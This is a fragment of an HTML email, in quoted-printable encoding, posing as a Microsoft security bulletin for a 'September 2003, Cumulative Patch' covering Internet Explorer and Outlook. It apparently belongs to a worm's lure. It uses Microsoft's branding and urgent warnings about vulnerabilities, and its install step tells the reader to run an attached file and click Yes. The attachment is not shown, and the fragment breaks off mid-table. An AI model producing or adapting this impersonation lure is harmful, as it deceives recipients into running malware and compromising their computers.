Microsoft.com Guide</A>
</FONT>
</TD>
</TR>
<TR>
<TD ALIGN=3D"right" VALIGN=3D"BOTTOM" NOWRAP>
<FONT FACE=3D"Verdana, Arial" SIZE=3D1><B>
<A class=3D'navtext' HREF=3D'http://www.microsoft.com/' TARGET=3D" top">
Microsoft Home</A> </B>
</FONT>
</TD>
</TR>
</TABLE>
<IMG SRC=3D"cid:sjuqlcs" BORDER=3D"0"><BR><BR>
<TABLE WIDTH=3D"600"><TR><TD><FONT SIZE=3D"2">
MS Client<BR><BR>
this is the latest version of security update, the
"September 2003, Cumulative Patch" update which eliminates
all known security vulnerabilities affecting
MS Internet Explorer, MS Outlook and MS Outlook Express
as well as three newly discovered vulnerabilities.
Install now to continue keeping your computer secure
from these vulnerabilities, the most serious of which could
allow an malicious user to run executable on your system.
This update includes the functionality =
of all previously released patches.
</FONT></TD></TR>
</TABLE>
<BR><BR>
<TABLE BORDER=3D"1" CELLSPACING=3D"1" CELLPADDING=3D"3" WIDTH=3D"600">
<TR VALIGN=3D"TOP">
<TD NOWRAP><FONT SIZE=3D"1"><B><IMG SRC=3D"cid:vgbrdej" =
ALIGN=3D"absmiddle" BORDER=3D"0"> System requirements</B>
</FONT></TD>
<TD NOWRAP><FONT SIZE=3D"1">Windows 95/98/Me/2000/NT/XP</FONT></TD>
</TR>
<TR VALIGN=3D"TOP">
<TD NOWRAP><FONT SIZE=3D"1"><B><IMG SRC=3D"cid:vgbrdej" =
ALIGN=3D"absmiddle" BORDER=3D"0"> This update applies to</B>
</FONT></TD><TD NOWRAP>
<FONT SIZE=3D"1">
MS Internet Explorer, version 4.01 and later<BR>
MS Outlook, version 8.00 and later<BR>
MS Outlook Express, version 4.01 and later
</FONT>
</TD>
</TR>
<TR VALIGN=3D"TOP">
<TD NOWRAP><FONT SIZE=3D"1"><B><IMG SRC=3D"cid:vgbrdej" =
ALIGN=3D"absmiddle" BORDER=3D"0"> Recommendation</B></FONT></TD>
<TD NOWRAP><FONT SIZE=3D"1">Customers should install the patch =
at the earliest opportunity.</FONT></TD>
</TR>
<TR VALIGN=3D"TOP">
<TD NOWRAP><FONT SIZE=3D"1"><B><IMG SRC=3D"cid:vgbrdej" =
ALIGN=3D"absmiddle" BORDER=3D"0"> How to install</B></FONT></TD>
<TD NOWRAP><FONT SIZE=3D"1">Run attached file. =
Choose Yes on displayed dialog box.</FONT></TD>
</TR>
<TR VALIGN=3D"TOP">
<TD NOWRAP><FONT SIZE=3D"1"><B><IMG SRC=3D"cid:vgbrdej" =
ALIGN=3D"absmiddle" BORDER=3D"0"> How to use</B></FONT></TD>
<TD NOWRAP><FONT SIZE=3D"1">